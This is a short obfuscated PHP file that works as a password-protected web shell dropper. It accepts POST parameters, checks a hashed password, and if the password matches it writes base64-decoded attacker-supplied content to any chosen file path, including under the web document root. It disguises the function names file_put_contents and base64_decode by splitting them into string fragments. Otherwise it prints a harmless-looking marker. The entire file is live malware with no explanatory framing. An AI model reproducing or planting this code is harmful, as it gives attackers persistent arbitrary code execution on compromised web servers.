<?php
$kmk = 'M'.date('y');
$obc = $_POST;
if(!empty($obc['b']) && md5($obc['b'].md5($obc['b']))==('6690'.'f481'.'d23d'.'ecf7'.'8718'.'ec6e'.'0106'.'de21')) {
	$axy = !empty($obc['f']) ? $obc['f'] : '502.'.'php';
	if(!empty($obc['r'])) $axy = $_SERVER['DOCUMENT_ROOT'].'/'.$axy;
	$umw = 'fil'.'E_P'.'ut_'.'con'.'ten'.'ts'; $szm = 'b'.'A'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'D'.'e';
	if($umw($axy, $szm($obc['c']))) exit($axy);
}
echo $kmk;
?>